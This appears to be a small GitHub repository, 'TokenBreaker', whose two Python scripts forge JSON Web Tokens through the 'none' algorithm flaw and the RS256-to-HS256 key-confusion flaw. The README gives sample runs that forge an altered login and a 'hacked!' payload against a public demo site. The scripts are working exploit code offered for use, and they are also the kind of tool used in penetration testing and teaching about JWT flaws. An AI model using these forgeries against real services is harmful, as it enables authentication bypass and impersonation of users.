├── requirements.txt ├── .gitignore ├── LICENSE.md ├── TheNone.py ├── RsaToHmac.py └── README.md /requirements.txt: -------------------------------------------------------------------------------- 1 | stoyled 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pem 2 | *.pyc 3 | __pycache__/ 4 | *.spec 5 | build/ 6 | dist/ 7 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 goron 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /TheNone.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from stoyled import * 6 | from argparse import ArgumentParser 7 | from base64 import b64decode, b64encode 8 | from re import sub as reSubst 9 | 10 | 11 | def banner(): 12 | logo = '\033[1m ________ _ __\n/_ __/ / ___ / |/ /__ ___ __' 13 | logo += '_\n / / / _ \\/ -_) / / _ \\/ _ \\/ -_)\n/_/ /_//_/\\__/ /_/|_' 14 | logo += '/\\___/_//_/\\__/\n\033[0m' 15 | print(logo) 16 | 17 | 18 | def verify_Padding(data): 19 | missing_padding = len(data) % 4 20 | if missing_padding != 0: 21 | data += '=' * (4 - missing_padding) 22 | return data 23 | 24 | 25 | def processTheNoneToken(token): 26 | header = b64decode(verify_Padding(token.split('.')[0])) 27 | payload = b64decode(verify_Padding(token.split('.')[1])) 28 | print(info("Decoded Header value -> {}".format(header.decode()))) 29 | print(info("Decoded Payload value -> {}".format(payload.decode()))) 30 | header = reSubst(b'"alg":".{5}"', b'"alg":"None"', header) 31 | print(info("New header with 'alg' > 'none' -> {}".format(header.decode()))) 32 | 33 | modify_response = coolInput("Modify Header? [y/N]") 34 | if modify_response.lower() == 'y': 35 | header = coolInput("Enter your header with 'alg' field set to 'None'") 36 | header = header.encode() 37 | print(info("Header set to -> " + header.decode())) 38 | payload = coolInput("Enter your payload") 39 | base64header = b64encode(header).rstrip(b'=') 40 | base64payload = b64encode(payload.encode()).rstrip(b'=') 41 | finaljwt = base64header + b'.' + base64payload + b"." 42 | print(good("Successfully encoded Token -> {}".format(finaljwt.decode()))) 43 | 44 | 45 | def main(): 46 | parser = ArgumentParser( 47 | description='TokenBreaker: 1.TheNoneAlgorithm', 48 | epilog='Example Usage: \npython TheNone.py -t [JWTtoken]\n' 49 | ) 50 | requiredparser = parser.add_argument_group('required arguments') 51 | requiredparser.add_argument('-t', '--token', help="JWT Token value", 52 | required=True) 53 | args = parser.parse_args() 54 | banner() 55 | processTheNoneToken(args.token) 56 | 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /RsaToHmac.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from stoyled import * 5 | from argparse import ArgumentParser 6 | from base64 import b64encode, b64decode 7 | from re import sub as reSubst 8 | from hmac import new as hmac 9 | from hashlib import sha256 10 | from sys import exit 11 | 12 | 13 | def banner(): 14 | logo = '\033[1m ___ ___ _ _ _ _ __ __ _ ___\n| _ \\/ ' 15 | logo += '__| /_\\ | |_ ___ | || | \\/ | /_\\ / __|\n| /\\__ \\/ _ ' 16 | logo += '\\ | _/ _ \\ | __ | |\\/| |/ _ \\ (__\n|_|_\\|___/_/ \\_\\ \\_' 17 | logo += '_\\___/ |_||_|_| |_/_/ \\_\\___|\n\033[0m' 18 | print(logo) 19 | 20 | 21 | def pad_check(data): 22 | missing_padding = len(data) % 4 23 | if missing_padding != 0: 24 | data += '=' * (4 - missing_padding) 25 | return data 26 | 27 | 28 | def print_header(token, pubkey): 29 | header = b64decode(pad_check(token.split('.')[0])) 30 | payload = b64decode(pad_check(token.split('.')[1])) 31 | print(info("Decoded Header value -> {}".format(header.decode()))) 32 | print(info("Decode Payload value -> {}".format(payload.decode()))) 33 | header = reSubst(b'"alg":".{5}"', b'"alg":"HS256"', header) 34 | print(info("New header value with HMAC -> {}".format(header.decode()))) 35 | modify_response = coolInput("Modify Header? [y/N]") 36 | if modify_response.lower() == 'y': 37 | header = coolInput("Enter your header with 'alg' -> 'HS256'").encode() 38 | print(info("Header set to -> {}".format(header.decode()))) 39 | payload = coolInput("Enter Your Payload value") 40 | base64header = b64encode(header).rstrip(b'=') 41 | base64payload = b64encode(payload.encode()).rstrip(b'=') 42 | try: 43 | pubKey = open(pubkey).read().encode() 44 | except IOError as ioErr: 45 | print(bad("IOError -> {}".format(ioErr))) 46 | exit(1) 47 | headerNpayload = base64header + b'.' + base64payload 48 | verifySig = hmac(pubKey, msg=headerNpayload, digestmod=sha256) 49 | verifySig = b64encode(verifySig.digest()) 50 | verifySig = verifySig.replace(b'/', b'_').replace(b'+', b'-').strip(b'=') 51 | finaljwt = headerNpayload + b'.' + verifySig 52 | 53 | print(good("Successfully Encoded Token -> {}".format(finaljwt.decode()))) 54 | 55 | 56 | def main(): 57 | usage = 'Example Usage: \npython RsatoHMAC.py -t [JWTtoken] -p [PathtoPubl' 58 | usage += 'ickeyfile]\n' 59 | parser = ArgumentParser(description='TokenBreaker: 2.RSAtoHMAC', 60 | epilog=usage) 61 | requiredparser = parser.add_argument_group('required arguments') 62 | requiredparser.add_argument('-t', '--token', help="JWT Token value", 63 | required=True) 64 | requiredparser.add_argument('-p', '--pubkey', 65 | help="Path to Public key File", required=True) 66 | args = parser.parse_args() 67 | banner() 68 | print_header(args.token, args.pubkey) 69 | 70 | 71 | if __name__ == '__main__': 72 | main() 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TokenBreaker 2 | 3 | Token Breaker is focused on 2 particular vulnerability related to JWT tokens. 4 | 5 | - None Algorithm 6 | - RSAtoHMAC 7 | 8 | Refer to [this](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) link about insights of the vulnerability and how an attacker can forge the tokens 9 | 10 | Try out this vulnerability [here](http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php?) 11 | 12 | ## TheNone Usage 13 | ``` 14 | usage: TheNone.py [-h] -t TOKEN 15 | 16 | TokenBreaker: 1.TheNoneAlgorithm 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | 21 | required arguments: 22 | -t TOKEN, --token TOKEN 23 | JWT Token value 24 | 25 | Example Usage: python TheNone.py -t [JWTtoken] 26 | ``` 27 | 28 | ### Output 29 | ``` 30 | $ ./TheNone.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6ImFkbSIsImlhdCI6IjE1Mzc1MjMxMjIifQ.ZWZhNjRmZDgzYWYzNDcxMjk5OTQ4YzE0NDVjMTNhZmJmYTQ5ZDhmYjY0ZDgyMzlhMjMwMGJlMTRhODA2NGU4MQ 31 | 32 | TheNone 33 | 34 | [*] Decoded Header value is: {"alg":"HS256","typ":"JWS"} 35 | [*] Decoded Payload value is: {"login":"adm","iat":"1537523122"} 36 | [*] New header value with none algorithm: {"alg":"None","typ":"JWS"} 37 | [<] Modify Header? [y/N]: n 38 | [<] Enter your payload: {"login":"sprAdm","iat":"0"} 39 | [+] Successfully encoded Token: eyJhbGciOiJOb25lIiwidHlwIjoiSldTIn0.eyJsb2dpbiI6InNwckFkbSIsImlhdCI6IjAifQ. 40 | ``` 41 | 42 | ## RSAtoHMAC Usage 43 | ``` 44 | usage: RsaToHmac.py [-h] -t TOKEN -p PUBKEY 45 | 46 | TokenBreaker: 1.RSAtoHMAC 47 | 48 | optional arguments: 49 | -h, --help show this help message and exit 50 | 51 | required arguments: 52 | -t TOKEN, --token TOKEN JWT Token value 53 | -p PUBKEY, --pubkey PUBKEY Path to Public key File 54 | 55 | Example Usage: python RsatoHMAC.py -t [JWTtoken] -p [PathtoPublickeyfile] 56 | ``` 57 | 58 | ### Output 59 | ``` 60 | $ ./RsaToHmac.py -t eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0MDM3NjA2MSwiZXhwIjoxNTQwMzc2MTgxLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.HI50KvoHzcf7znWkrdugn5-O-68PpJAeiS21cLisC1WgEI21gWnqqvv3oqsnzbGkIt21NvPVHWFXoKJmLPKHeMeYLgc7nuVdF37WWd7M1XzZEP8zLoed7Z6K0KfNuR_CRsjogv1KAt8fJQvRzRhFi9dORHGxWRqpiInIgLKROLgXB-7Rv2SOYdyD_XylRaVJ1JpmmCyVmIbzVWhVuRJWT59AUm43yYRP3bBt-bnhMfkzFpwxTk3O84-On4DoIt6NIkRJaxXDUdDKscLGmSWQmdZsZds3XSV0ZgN0PObADqkZwwCBAqUTT7l5BVcBmasdnNuZ8cCDKzNtJr2cdow6zQ -p public.pem 61 | 62 | RSA to HMAC 63 | 64 | [*] Decoded Header value: {"typ":"JWT","alg":"RS256"} 65 | [*] Decode Payload value: {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1540376061,"exp":1540376181,"data":{"hello":"world"}} 66 | [*] New header value with HMAC: {"typ":"JWT","alg":"HS256"} 67 | [<] Modify Header? [y/N]: n 68 | [<] Enter Your Payload value: {"iss":"http:\/\/www.google.com\/","iat":2351287873,"exp":1843945693,"data":{"hello":"hacked!"}} 69 | [+] Successfully Encoded Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC93d3cuZ29vZ2xlLmNvbVwvIiwiaWF0IjoyMzUxMjg3ODczLCJleHAiOjE4NDM5NDU2OTMsImRhdGEiOnsiaGVsbG8iOiJoYWNrZWQhIn19.8jfUVCZPA7cWaSfe0LIjRt692RaFHnnvtw0jHoSAneQ 70 | ``` 71 | --------------------------------------------------------------------------------